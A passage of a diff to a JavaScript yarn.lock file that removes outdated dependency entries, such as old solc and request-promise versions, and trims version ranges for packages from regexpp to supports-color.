regexpp@^3.1.0: resolved "https://registry.npmjs.org/regexpp/-/regexpp-3.2.0.tgz" integrity sha512-pq2bWo9mVD43nbts2wGv17XLiNLya+GklZ8kaDLV2Z08gDCsGpnKn9BFMepvWuHCbyVvY7J5o5+BVvoQbmlJLg== -regexpu-core@^2.0.0: - version "2.0.0" - resolved "https://registry.npmjs.org/regexpu-core/-/regexpu-core-2.0.0.tgz" - integrity sha512-tJ9+S4oKjxY8IZ9jmjnp/mtytu1u3iyIQAfmI51IKWH6bFf7XR1ybtaO6j7INhZKXOTYADk7V5qxaqLkmNxiZQ== - dependencies: - regenerate "^1.2.1" - regjsgen "^0.2.0" - regjsparser "^0.1.4" - regexpu-core@^5.1.0: version "5.2.2" resolved "https://registry.npmjs.org/regexpu-core/-/regexpu-core-5.2.2.tgz" @@ -15102,23 +11824,11 @@ regexpu-core@^5.1.0: unicode-match-property-ecmascript "^2.0.0" unicode-match-property-value-ecmascript "^2.1.0" -regjsgen@^0.2.0: - version "0.2.0" - resolved "https://registry.npmjs.org/regjsgen/-/regjsgen-0.2.0.tgz" - integrity sha512-x+Y3yA24uF68m5GA+tBjbGYo64xXVJpbToBaWCoSNSc1hdk6dfctaRWrNFTVJZIIhL5GxW8zwjoixbnifnK59g== - regjsgen@^0.7.1: version "0.7.1" resolved "https://registry.npmjs.org/regjsgen/-/regjsgen-0.7.1.tgz" integrity sha512-RAt+8H2ZEzHeYWxZ3H2z6tF18zyyOnlcdaafLrm21Bguj7uZy6ULibiAFdXEtKQY4Sy7wDTwDiOazasMLc4KPA== -regjsparser@^0.1.4: - version "0.1.5" - resolved "https://registry.npmjs.org/regjsparser/-/regjsparser-0.1.5.tgz" - integrity sha512-jlQ9gYLfk2p3V5Ag5fYhA7fv7OHzd1KUH0PRP46xc3TgwjwgROIW572AfYg/X9kaNq/LJnu6oJcFRXlIrGoTRw== - dependencies: - jsesc "~0.5.0" - regjsparser@^0.9.1: version "0.9.1" resolved "https://registry.npmjs.org/regjsparser/-/regjsparser-0.9.1.tgz" @@ -15176,44 +11886,7 @@ repeat-string@^1.6.1: resolved "https://registry.npmjs.org/repeat-string/-/repeat-string-1.6.1.tgz" integrity sha512-PV0dzCYDNfRi1jCDbJzpW7jNNDRuCOG/jI5ctQcGKt/clZD+YcPS3yIlWuTJMmESC8aevCFmWJy5wjAFgNqN6w== -repeating@^2.0.0: - version "2.0.1" - resolved "https://registry.npmjs.org/repeating/-/repeating-2.0.1.tgz" - integrity sha512-ZqtSMuVybkISo2OWvqvm7iHSWngvdaW3IpsT9/uP8v4gMi591LY6h35wdOfvQdWCKFWZWm2Y1Opp4kV7vQKT6A== - dependencies: - is-finite "^1.0.0" - -req-cwd@^2.0.0: - version "2.0.0" - resolved "https://registry.npmjs.org/req-cwd/-/req-cwd-2.0.0.tgz" - integrity sha512-ueoIoLo1OfB6b05COxAA9UpeoscNpYyM+BqYlA7H6LVF4hKGPXQQSSaD2YmvDVJMkk4UDpAHIeU1zG53IqjvlQ== - dependencies: - req-from "^2.0.0" - -req-from@^2.0.0: - version "2.0.0" - resolved "https://registry.npmjs.org/req-from/-/req-from-2.0.0.tgz" - integrity sha512-LzTfEVDVQHBRfjOUMgNBA+V6DWsSnoeKzf42J7l0xa/B4jyPOuuF5MlNSmomLNGemWTnV2TIdjSSLnEn95fOQA== - dependencies: - resolve-from "^3.0.0" - -request-promise-core@1.1.4: - version "1.1.4" - resolved "https://registry.npmjs.org/request-promise-core/-/request-promise-core-1.1.4.tgz" - integrity sha512-TTbAfBBRdWD7aNNOoVOBH4pN/KigV6LyapYNNlAPA8JwbovRti1E88m3sYAwsLi5ryhPKsE9APwnjFTgdUjTpw== - dependencies: - lodash "^4.17.19" - -request-promise-native@^1.0.5: - version "1.0.9" - resolved "https://registry.npmjs.org/request-promise-native/-/request-promise-native-1.0.9.tgz" - integrity sha512-wcW+sIUiWnKgNY0dqCpOZkUbF/I+YPi+f09JZIDa39Ec+q82CpSYniDp+ISgTTbKmnpJWASeJBPZmoxH84wt3g== - dependencies: - request-promise-core "1.1.4" - stealthy-require "^1.1.1" - tough-cookie "^2.3.3" - -request@^2.79.0, request@^2.85.0, request@^2.88.0: +request@^2.79.0: version "2.88.2" resolved "https://registry.npmjs.org/request/-/request-2.88.2.tgz" integrity sha512-MsvtOrfG9ZcrOwAW+Qi+F6HbD0CWXEh9ou77uOb7FM2WPhwT7smM833PzanhJLsgXjN89Ir6V2PczXNnMpwKhw== @@ -15249,7 +11922,7 @@ require-from-string@^1.1.0: resolved "https://registry.npmjs.org/require-from-string/-/require-from-string-1.2.1.tgz" integrity sha512-H7AkJWMobeskkttHyhTVtS0fxpFLjxhbfMa6Bk3wimP7sdPRGL3EyCg3sAQenFfAe+xQ+oAc85Nmtvq0ROM83Q== -require-from-string@^2.0.0, require-from-string@^2.0.2: +require-from-string@^2.0.2: version "2.0.2" resolved "https://registry.npmjs.org/require-from-string/-/require-from-string-2.0.2.tgz" integrity sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw== @@ -15324,13 +11997,6 @@ resolve-url@^0.2.1: resolved "https://registry.npmjs.org/resolve-url/-/resolve-url-0.2.1.tgz" integrity sha512-ZuF55hVUQaaczgOIwqWzkEcEidmlD/xl44x1UZnhOXcYuFN2S6+rcxpG+C1N3So0wvNI3DmJICUFfu2SxhBmvg== -resolve@1.17.0: - version "1.17.0" - resolved "https://registry.npmjs.org/resolve/-/resolve-1.17.0.tgz" - integrity sha512-ic+7JYiV8Vi2yzQGFWOkiZD5Z9z7O2Zhm9XMaTxdJExKasieFCr+yXZ/WmXsckHiKl12ar0y6XiXDx3m4RHn1w== - dependencies: - path-parse "^1.0.6" - resolve@1.18.1: version "1.18.1" resolved "https://registry.npmjs.org/resolve/-/resolve-1.18.1.tgz" @@ -15339,7 +12005,7 @@ resolve@1.18.1: is-core-module "^2.0.0" path-parse "^1.0.6" -resolve@^1.10.0, resolve@^1.12.0, resolve@^1.14.2, resolve@^1.17.0, resolve@^1.18.1, resolve@^1.19.0, resolve@^1.20.0, resolve@^1.22.0, resolve@^1.3.2, resolve@^1.8.1, resolve@~1.22.1: +resolve@^1.10.0, resolve@^1.12.0, resolve@^1.14.2, resolve@^1.17.0, resolve@^1.18.1, resolve@^1.19.0, resolve@^1.20.0, resolve@^1.22.0, resolve@^1.3.2: version "1.22.1" resolved "https://registry.npmjs.org/resolve/-/resolve-1.22.1.tgz" integrity sha512-nBpuuYuY5jFsli/JIs1oldw6fOQCBioohqWZg/2hiaOybXOft4lonv85uDOKXdf8rhyK159cxU5cDcK/NKk8zw== @@ -15371,13 +12037,6 @@ responselike@^2.0.0: dependencies: lowercase-keys "^2.0.0" -resumer@~0.0.0: - version "0.0.0" - resolved "https://registry.npmjs.org/resumer/-/resumer-0.0.0.tgz" - integrity sha512-Fn9X8rX8yYF4m81rZCK/5VmrmsSbqS/i3rDLl6ZZHAXgC2nTAx3dhwG8q8odP/RmdLa2YrybDJaAMg+X1ajY3w== - dependencies: - through "~2.3.4" - ret@~0.1.10: version "0.1.15" resolved "https://registry.npmjs.org/ret/-/ret-0.1.15.tgz" @@ -15393,11 +12052,6 @@ reusify@^1.0.4: resolved "https://registry.npmjs.org/reusify/-/reusify-1.0.4.tgz" integrity sha512-U9nH88a3fc/ekCF1l0/UP1IosiuIjyTh7hBvXVMHYgVcfGvt897Xguj2UOLDeI5BG2m7/uwyaLVT6fbtCwTyzw== -revalidator@0.1.x: - version "0.1.8" - resolved "https://registry.npmjs.org/revalidator/-/revalidator-0.1.8.tgz" - integrity sha512-xcBILK2pA9oh4SiinPEZfhP8HfrB/ha+a2fTMyl7Om2WjlDVrOQy99N2MXXlUHqGJz4qEu2duXxHJjDWuK/0xg== - rework-visit@1.0.0: version "1.0.0" resolved "https://registry.npmjs.org/rework-visit/-/rework-visit-1.0.0.tgz" @@ -15448,7 +12102,7 @@ ripemd160@^2.0.0, ripemd160@^2.0.1, ripemd160@^2.0.2: hash-base "^3.0.0" inherits "^2.0.1" -rlp@^2.0.0, rlp@^2.2.1, rlp@^2.2.2, rlp@^2.2.3, rlp@^2.2.4: +rlp@^2.2.4: version "2.2.7" resolved "https://registry.npmjs.org/rlp/-/rlp-2.2.7.tgz" integrity sha512-d5gdPmgQ0Z+AklL2NVXr/IoSjNZFfTVvQWzL/AM2AOcSzYP2xjlb0AC8YyCLc41MSNf6P6QVtjgPdmVtzb+4lQ== @@ -15495,13 +12149,6 @@ rsvp@^4.8.4: resolved "https://registry.npmjs.org/rsvp/-/rsvp-4.8.5.tgz" integrity sha512-nfMOlASu9OnRJo1mbEk2cz0D56a1MBNrJ7orjRZQG10XDyuvwksKbuXNp6qa+kbn839HwjwhBzhFmdsaEAfauA== -run-parallel-limit@^1.1.0: - version "1.1.0" - resolved "https://registry.npmjs.org/run-parallel-limit/-/run-parallel-limit-1.1.0.tgz" - integrity sha512-jJA7irRNM91jaKc3Hcl1npHsFLOXOoTkPCUL1JEa1R82O2miplXXRaGdjW/KM/98YQWDhJLiSs793CnXfblJUw== - dependencies: - queue-microtask "^1.2.2" - run-parallel@^1.1.9: version "1.2.0" resolved "https://registry.npmjs.org/run-parallel/-/run-parallel-1.2.0.tgz" @@ -15516,11 +12163,6 @@ run-queue@^1.0.0, run-queue@^1.0.3: dependencies: aproba "^1.1.1" -rustbn.js@~0.2.0: - version "0.2.0" - resolved "https://registry.npmjs.org/rustbn.js/-/rustbn.js-0.2.0.tgz" - integrity sha512-4VlvkRUuCJvr2J6Y0ImW7NvTCriMi7ErOAqWk1y69vAdoNIzCF3yPmgeNzx+RQTLEDFq5sHfscn1MwHxP9hNfA== - sade@^1.7.3: version "1.8.1" resolved "https://registry.npmjs.org/sade/-/sade-1.8.1.tgz" @@ -15538,13 +12180,6 @@ safe-buffer@5.2.1, safe-buffer@>=5.1.0, safe-buffer@^5.0.1, safe-buffer@^5.1.0, resolved "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz" integrity sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ== -safe-event-emitter@^1.0.1: - version "1.0.1" - resolved "https://registry.npmjs.org/safe-event-emitter/-/safe-event-emitter-1.0.1.tgz" - integrity sha512-e1wFe99A91XYYxoQbcq2ZJUWurxEyP8vfz7A7vuUe1s95q8r5ebraVaA1BukYJcpM6V16ugWoD9vngi8Ccu5fg== - dependencies: - events "^3.0.0" - safe-regex-test@^1.0.0: version "1.0.0" resolved "https://registry.npmjs.org/safe-regex-test/-/safe-regex-test-1.0.0.tgz" @@ -15561,7 +12196,7 @@ safe-regex@^1.1.0: dependencies: ret "~0.1.10" -"safer-buffer@>= 2.1.2 < 3", "safer-buffer@>= 2.1.2 < 3.0.0", safer-buffer@^2.0.2, safer-buffer@^2.1.0, safer-buffer@~2.1.0: +"safer-buffer@>= 2.1.2 < 3", safer-buffer@^2.0.2, safer-buffer@^2.1.0, safer-buffer@~2.1.0: version "2.1.2" resolved "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz" integrity sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg== @@ -15653,14 +12288,7 @@ scrypt-js@3.0.1, scrypt-js@^3.0.0, scrypt-js@^3.0.1: resolved "https://registry.npmjs.org/scrypt-js/-/scrypt-js-3.0.1.tgz" integrity sha512-cdwTTnqPu0Hyvf5in5asVdZocVDTNRmR7XEcJuIzMjJeSHybHl7vpB66AzwTaIg6CLSbtjcxc8fqcySfnTkccA== -scryptsy@^1.2.1: - version "1.2.1" - resolved "https://registry.npmjs.org/scryptsy/-/scryptsy-1.2.1.tgz" - integrity sha512-aldIRgMozSJ/Gl6K6qmJZysRP82lz83Wb42vl4PWN8SaLFHIaOzLPc9nUUW2jQN88CuGm5q5HefJ9jZ3nWSmTw== - dependencies: - pbkdf2 "^3.0.3" - -secp256k1@4.0.3, secp256k1@^4.0.1: +secp256k1@^4.0.1: version "4.0.3" resolved "https://registry.npmjs.org/secp256k1/-/secp256k1-4.0.3.tgz" integrity sha512-NLZVf+ROMxwtEj3Xa562qgv2BK5e2WNmXPiOdVIPLgs6lyTzMvBq0aWTYMI5XCP9jZMVKOcqZLw/Wc4vDkuxhA== @@ -15669,11 +12297,6 @@ secp256k1@4.0.3, secp256k1@^4.0.1: node-addon-api "^2.0.0" node-gyp-build "^4.2.0" -seedrandom@3.0.1: - version "3.0.1" - resolved "https://registry.npmjs.org/seedrandom/-/seedrandom-3.0.1.tgz" - integrity sha512-1/02Y/rUeU1CJBAGLebiC5Lbo5FnB22gQbIFFYTLkwvp1xdABZJH1sn4ZT1MzXmPpzv+Rf/Lu2NcsLJiK4rcDg== - select-hose@^2.0.0: version "2.0.0" resolved "https://registry.npmjs.org/select-hose/-/select-hose-2.0.0.tgz" @@ -15686,12 +12309,7 @@ selfsigned@^1.10.8: dependencies: node-forge "^0.10.0" -semaphore@>=1.0.1, semaphore@^1.0.3, semaphore@^1.1.0: - version "1.1.0" - resolved "https://registry.npmjs.org/semaphore/-/semaphore-1.1.0.tgz" - integrity sha512-O4OZEaNtkMd/K0i6js9SL+gqy0ZCBMgUvlSqHKi4IBdjhe7wB8pwztUk1BbZ1fmrvpwFrPbHzqd2w5pTcJH6LA== - -"semver@2 || 3 || 4 || 5", semver@^5.3.0, semver@^5.4.1, semver@^5.5.0, semver@^5.6.0, semver@^5.7.0: +"semver@2 || 3 || 4 || 5", semver@^5.3.0, semver@^5.4.1, semver@^5.5.0, semver@^5.6.0: version "5.7.1" resolved "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz" integrity sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ== @@ -15720,11 +12338,6 @@ semver@^7.2.1, semver@^7.3.2, semver@^7.3.5: dependencies: lru-cache "^6.0.0" -semver@~5.4.1: - version "5.4.1" - resolved "https://registry.npmjs.org/semver/-/semver-5.4.1.tgz" - integrity sha512-WfG/X9+oATh81XtllIo/I8gOiY9EXRdv1cQdyykeXK17YcUW3EXUAi2To4pcH6nZtJPr7ZOpM5OMyWJZm+8Rsg== - send@0.18.0: version "0.18.0" resolved "https://registry.npmjs.org/send/-/send-0.18.0.tgz" @@ -15752,13 +12365,6 @@ sentence-case@^2.1.0: no-case "^2.2.0" upper-case-first "^1.1.2" -serialize-javascript@6.0.0: - version "6.0.0" - resolved "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-6.0.0.tgz" - integrity sha512-Qr3TosvguFt8ePWqsvRfrKyQXIiW+nGbYpy8XK24NQHE83caxWt+mIymTT19DGFbNWNLfEwsrkSmN64lVWB9ag== - dependencies: - randombytes "^2.1.0" - serialize-javascript@^4.0.0: version "4.0.0" resolved "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-4.0.0.tgz" @@ -15812,11 +12418,6 @@ set-blocking@^2.0.0: resolved "https://registry.npmjs.org/set-blocking/-/set-blocking-2.0.0.tgz" integrity sha512-KiKBS8AnWGEyLzofFfmvKwpdPzqiy16LvQfK3yv/fVH7Bj13/wl3JSR1J+rfgRE9q7xUJK4qvgS8raSOeLUehw== -set-immediate-shim@^1.0.1: - version "1.0.1" - resolved "https://registry.npmjs.org/set-immediate-shim/-/set-immediate-shim-1.0.1.tgz" - integrity sha512-Li5AOqrZWCVA2n5kryzEmqai6bKSIvpz5oUJHPVj6+dsbD3X1ixtsY5tEnsaNpH3pFAHmG8eIHUrtEtohrg+UQ== - set-value@^2.0.0, set-value@^2.0.1: version "2.0.1" resolved "https://registry.npmjs.org/set-value/-/set-value-2.0.1.tgz" @@ -15855,14 +12456,6 @@ sha.js@^2.4.0, sha.js@^2.4.8: inherits "^2.0.1" safe-buffer "^5.0.1" -sha1@^1.1.1: - version "1.1.1" - resolved "https://registry.npmjs.org/sha1/-/sha1-1.1.1.tgz" - integrity sha512-dZBS6OrMjtgVkopB1Gmo4RQCDKiZsqcpAQpkV/aaj+FCrCg8r4I4qMkDPQjBgLIxlmu9k4nUbWq6ohXahOneYA== - dependencies: - charenc ">= 0.0.1" - crypt ">= 0.0.1" - sha3@^2.1.1: version "2.1.4" resolved "https://registry.npmjs.org/sha3/-/sha3-2.1.4.tgz" @@ -15954,16 +12547,6 @@ sisteransi@^1.0.5: resolved "https://registry.npmjs.org/sisteransi/-/sisteransi-1.0.5.tgz" integrity sha512-bLGGlR1QxBcynn2d5YmDX4MGjlZvy2MRBDRNHLJ8VI6l6+9FUiyTFNJ0IveOSP0bcXgVDPRcfGqA0pjaqUpfVg== -slash@^1.0.0: - version "1.0.0" - resolved "https://registry.npmjs.org/slash/-/slash-1.0.0.tgz" - integrity sha512-3TYDR7xWt4dIqV2JauJr+EJeW356RXijHeUlO+8djJ+uBXPn8/2dpzBc8yQhh583sVvc9CvFAeQVgijsH+PNNg== - -slash@^2.0.0: - version "2.0.0" - resolved "https://registry.npmjs.org/slash/-/slash-2.0.0.tgz" - integrity sha512-ZYKh3Wh2z1PpEXWr0MpSBZ0V6mZHAQfYevttO11c51CaWjGTaadiKZ+wVt1PbMlDV5qhMFslpZCemhwOK7C89A== - slash@^3.0.0: version "3.0.0" resolved "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz" @@ -16035,21 +12618,6 @@ sockjs@^0.3.21: uuid "^8.3.2" websocket-driver "^0.7.4" -solc@0.7.3: - version "0.7.3" - resolved "https://registry.npmjs.org/solc/-/solc-0.7.3.tgz" - integrity sha512-GAsWNAjGzIDg7VxzP6mPjdurby3IkGCjQcM8GFYZT6RyaoUZKmMU6Y7YwG+tFGhv7dwZ8rmR4iwFDrrD99JwqA== - dependencies: - command-exists "^1.2.8" - commander "3.0.2" - follow-redirects "^1.12.1" - fs-extra "^0.30.0" - js-sha3 "0.8.0" - memorystream "^0.3.1" - require-from-string "^2.0.0" - semver "^5.5.0" - tmp "0.0.33" - solc@^0.4.20: version "0.4.26" resolved "https://registry.npmjs.org/solc/-/solc-0.4.26.tgz" @@ -16061,25 +12629,6 @@ solc@^0.4.20: semver "^5.3.0" yargs "^4.7.1" -solc@^0.6.3: - version "0.6.12" - resolved "https://registry.npmjs.org/solc/-/solc-0.6.12.tgz" - integrity sha512-Lm0Ql2G9Qc7yPP2Ba+WNmzw2jwsrd3u4PobHYlSOxaut3TtUbj9+5ZrT6f4DUpNPEoBaFUOEg9Op9C0mk7ge9g== - dependencies: - command-exists "^1.2.8" - commander "3.0.2" - fs-extra "^0.30.0" - js-sha3 "0.8.0" - memorystream "^0.3.1" - require-from-string "^2.0.0" - semver "^5.5.0" - tmp "0.0.33" - -solidity-ast@^0.4.15: - version "0.4.38" - resolved "https://registry.npmjs.org/solidity-ast/-/solidity-ast-0.4.38.tgz" - integrity sha512-e7gT6g8l8M2rAzH648QA3/IihCNy/anFoWyChVD+T+zfX4FjXbT8AO2DB3wG1iEmIBib9/+vD+GvTElWWpdw+w== - sort-keys@^1.0.0: version "1.1.2" resolved "https://registry.npmjs.org/sort-keys/-/sort-keys-1.1.2.tgz" @@ -16108,22 +12657,7 @@ source-map-resolve@^0.5.0, source-map-resolve@^0.5.2: source-map-url "^0.4.0" urix "^0.1.0" -source-map-support@0.5.12: - version "0.5.12" - resolved "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.12.tgz" - integrity sha512-4h2Pbvyy15EE02G+JOZpUCmqWJuqrs+sEkzewTm++BPi7Hvn/HwcqLAcNxYAyI0x13CpPPn+kMjl+hplXMHITQ== - dependencies: - buffer-from "^1.0.0" - source-map "^0.6.0" - -source-map-support@^0.4.15: - version "0.4.18" - resolved "https://registry.npmjs.org/source-map-support/-/source-map-support-0.4.18.tgz" - integrity sha512-try0/JqxPLF9nOjvSta7tVondkP5dwgyLDjVoyMDlmjugT2lRZ1OfsrYTkCd2hkDnJTKRbO/Rl3orm8vlsUzbA== - dependencies: - source-map "^0.5.6" - -source-map-support@^0.5.13, source-map-support@^0.5.19, source-map-support@^0.5.6, source-map-support@~0.5.12, source-map-support@~0.5.20: +source-map-support@^0.5.6, source-map-support@~0.5.12, source-map-support@~0.5.20: version "0.5.21" resolved "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.21.tgz" integrity sha512-uBHU3L3czsIyYXKX88fdrGovxdSCoTGDRZ6SYXtSRxLZUzHg5P/66Ht6uoUlHu9EZod+inXhKo3qQgwXUT/y1w== @@ -16141,7 +12675,7 @@ source-map@0.6.1, source-map@^0.6.0, source-map@^0.6.1, source-map@~0.6.0, sourc resolved "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz" integrity sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g== -source-map@^0.5.0, source-map@^0.5.6, source-map@^0.5.7: +source-map@^0.5.0, source-map@^0.5.6: version "0.5.7" resolved "https://registry.npmjs.org/source-map/-/source-map-0.5.7.tgz" integrity sha512-LbrmJOMUSdEVxIKvdcJzQC+nQhe8FUZQTXQy6+I75skNgn3OoQ0DZA8YnFa7gp8tqtL3KPf1kmo0R5DoApeSGQ== @@ -16256,11 +12790,6 @@ stable@^0.1.8: resolved "https://registry.npmjs.org/stable/-/stable-0.1.8.tgz" integrity sha512-ji9qxRnOVfcuLDySj9qzhGSEFVobyt1kIOSkj1qZzYLzq7Tos/oUUWvotUPQLlrsidqsK6tBH89Bc9kL5zHA6w== -stack-trace@0.0.x: - version "0.0.10" - resolved "https://registry.npmjs.org/stack-trace/-/stack-trace-0.0.10.tgz" - integrity sha512-KGzahc7puUKkzyMt+IqAep+TVNbKP+k2Lmwhub39m1AsTSkaDutx56aDCo+HLDzf/D26BIHTJWNiTG1KAJiQCg== - stack-utils@^2.0.2: version "2.0.6" resolved "https://registry.npmjs.org/stack-utils/-/stack-utils-2.0.6.tgz" @@ -16273,13 +12802,6 @@ stackframe@^1.3.4: resolved "https://registry.npmjs.org/stackframe/-/stackframe-1.3.4.tgz" integrity sha512-oeVtt7eWQS+Na6F//S4kJ2K2VbRlS9D43mAlMyVpVWovy9o+jfgH8O9agzANzaiLjclA0oYzUXEM4PurhSUChw== -stacktrace-parser@^0.1.10: - version "0.1.10" - resolved "https://registry.npmjs.org/stacktrace-parser/-/stacktrace-parser-0.1.10.tgz" - integrity sha512-KJP1OCML99+8fhOHxwwzyWrlUuVX5GQ0ZpJTd1DFXhdkrvg1szxfHhawXUZ3g9TkXORQd4/WG68jMlQZ2p8wlg== - dependencies: - type-fest "^0.7.1" - static-extend@^0.1.1: version "0.1.2" resolved "https://registry.npmjs.org/static-extend/-/static-extend-0.1.2.tgz" @@ -16298,11 +12820,6 @@ statuses@2.0.1: resolved "https://registry.npmjs.org/statuses/-/statuses-1.5.0.tgz" integrity sha512-OpZ3zP+jT1PI7I8nemJX4AKmAX070ZkYPVWV/AaKTJl+tXCTGyVdC1a4SL8RUQYEwk/f34ZX8UTykN68FwrqAA== -stealthy-require@^1.1.1: - version "1.1.1" - resolved "https://registry.npmjs.org/stealthy-require/-/stealthy-require-1.1.1.tgz" - integrity sha512-ZnWpYnYugiOVEY5GkcuJK1io5V8QmNYChG62gSit9pQVGErXtrKuPC55ITaVSukmMta5qpMU7vqLt2Lnni4f/g== - stream-browserify@^2.0.1: version "2.0.2" resolved "https://registry.npmjs.org/stream-browserify/-/stream-browserify-2.0.2.tgz" @@ -16335,19 +12852,6 @@ stream-shift@^1.0.0: resolved "https://registry.npmjs.org/stream-shift/-/stream-shift-1.0.1.tgz" integrity sha512-AiisoFqQ0vbGcZgQPY1cdP2I76glaVA/RauYR4G4thNFgkTqr90yXTo4LYX60Jl+sIlPNHHdGSwo01AvbKUSVQ== -stream-to-pull-stream@^1.7.1: - version "1.7.3" - resolved "https://registry.npmjs.org/stream-to-pull-stream/-/stream-to-pull-stream-1.7.3.tgz" - integrity sha512-6sNyqJpr5dIOQdgNy/xcDWwDuzAsAwVzhzrWlAPAQ7Lkjx/rv0wgvxEyKwTq6FmNd5rjTrELt/CLmaSw7crMGg== - dependencies: - looper "^3.0.0" - pull-stream "^3.2.3" - -streamsearch@^1.1.0: - version "1.1.0" - resolved "https://registry.yarnpkg.com/streamsearch/-/streamsearch-1.1.0.tgz#404dd1e2247ca94af554e841a8ef0eaa238da764" - integrity sha512-Mcc5wHehp9aXz1ax6bZUyY5afg9u2rv5cqQI3mRrYkGC8rW2hM02jWuwjtL++LS5qinSyhj2QfLyNsuc+VsExg== - strict-uri-encode@^1.0.0: version "1.1.0" resolved "https://registry.npmjs.org/strict-uri-encode/-/strict-uri-encode-1.1.0.tgz" @@ -16375,14 +12879,6 @@ string-width@^1.0.1: is-fullwidth-code-point "^1.0.0" strip-ansi "^3.0.0" -"string-width@^1.0.2 || 2", string-width@^2.1.1: - version "2.1.1" - resolved "https://registry.npmjs.org/string-width/-/string-width-2.1.1.tgz" - integrity sha512-nOqH59deCq9SRHlxq1Aw85Jnt4w6KvLKqWVik6oA9ZklXLNIOlqg4F2yrT1MVaTjAqvVwdfeZ7w7aCvJD7ugkw== - dependencies: - is-fullwidth-code-point "^2.0.0" - strip-ansi "^4.0.0" - string-width@^3.0.0, string-width@^3.1.0: version "3.1.0" resolved "https://registry.npmjs.org/string-width/-/string-width-3.1.0.tgz" @@ -16415,15 +12911,6 @@ string.prototype.matchall@^4.0.7: regexp.prototype.flags "^1.4.3" side-channel "^1.0.4" -string.prototype.trim@~1.2.6: - version "1.2.7" - resolved "https://registry.npmjs.org/string.prototype.trim/-/string.prototype.trim-1.2.7.tgz" - integrity sha512-p6TmeT1T3411M8Cgg9wBTMRtY2q9+PNy9EV1i2lIXUN/btt763oIfxwN3RR8VU6wHX8j/1CFy0L+YuThm6bgOg== - dependencies: - call-bind "^1.0.2" - define-properties "^1.1.4" - es-abstract "^1.20.4" - string.prototype.trimend@^1.0.5: version "1.0.6" resolved "https://registry.npmjs.org/string.prototype.trimend/-/string.prototype.trimend-1.0.6.tgz" @@ -16449,11 +12936,6 @@ string_decoder@^1.0.0, string_decoder@^1.1.1: dependencies: safe-buffer "~5.2.0" -string_decoder@~0.10.x: - version "0.10.31" - resolved "https://registry.npmjs.org/string_decoder/-/string_decoder-0.10.31.tgz" - integrity sha512-ev2QzSzWPYmy9GuqfIVildA4OdcGLeFZQrq5ys6RtiuF+RQQiZWr8TZNyAcuVXyQRYfEO+MsoB/1BuQVhOJuoQ== - string_decoder@~1.1.1: version "1.1.1" resolved "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz" @@ -16552,12 +13034,7 @@ strip-indent@^2.0.0: resolved "https://registry.npmjs.org/strip-indent/-/strip-indent-2.0.0.tgz" integrity sha512-RsSNPLpq6YUL7QYy44RnPVTn/lcVZtb48Uof3X5JLbF4zD/Gs7ZFDv2HWol+leoQN2mT86LAzSshGfkTlSOpsA== -strip-json-comments@2.0.1: - version "2.0.1" - resolved "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-2.0.1.tgz" - integrity sha512-4gB8na07fecVVkOI6Rs4e7T6NOTki5EmL7TUduTs6bu3EdnSycntVJ4re8kgZA+wx9IueI2Y11bfbgwtzuE0KQ== - -strip-json-comments@3.1.1, strip-json-comments@^3.1.0, strip-json-comments@^3.1.1: +strip-json-comments@^3.1.0, strip-json-comments@^3.1.1: version "3.1.1" resolved "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-3.1.1.tgz" integrity sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig== @@ -16619,25 +13096,6 @@ stylehacks@^4.0.0: postcss "^7.0.0" postcss-selector-parser "^3.0.0" -supports-color@6.0.0: - version "6.0.0" - resolved "https://registry.npmjs.org/supports-color/-/supports-color-6.0.0.tgz" - integrity sha512-on9Kwidc1IUQo+bQdhi8+Tijpo0e1SS6RoGo2guUwn5vdaxw8RXOF9Vb2ws+ihWOmh4JnCJOvaziZWP1VABaLg== - dependencies: - has-flag "^3.0.0" - -supports-color@8.1.1, supports-color@^8.0.0: - version "8.1.1" - resolved "https://registry.npmjs.org/supports-color/-/supports-color-8.1.1.tgz" - integrity sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q== - dependencies: - has-flag "^4.0.0" - -supports-color@^2.0.0: - version "2.0.0" - resolved "https://registry.npmjs.org/supports-color/-/supports-color-2.0.0.tgz" - integrity sha512-KKNVtd6pCYgPIKU4cp2733HWYCpplQhddZLBUryaAHou723x+FRzQ5Df824Fj+IyyuiQTRoub4SnIFfIcrp70g== - supports-color@^5.3.0, supports-color@^5.5.0: version "5.5.0" resolved "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz" @@ -16659,6 +13117,13 @@ supports-color@^7.0.0, supports-color@^7.1.0: dependencies: has-flag "^4.0.0" +supports-color@^8.0.0: + version "8.1.1" + resolved "https://registry.npmjs.org/supports-color/-/supports-color-8.1.1.tgz" + integrity sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q== + dependencies: + has-flag "^4.0.0" + supports-hyperlinks@^2.0.0: version "2.3.0" resolved 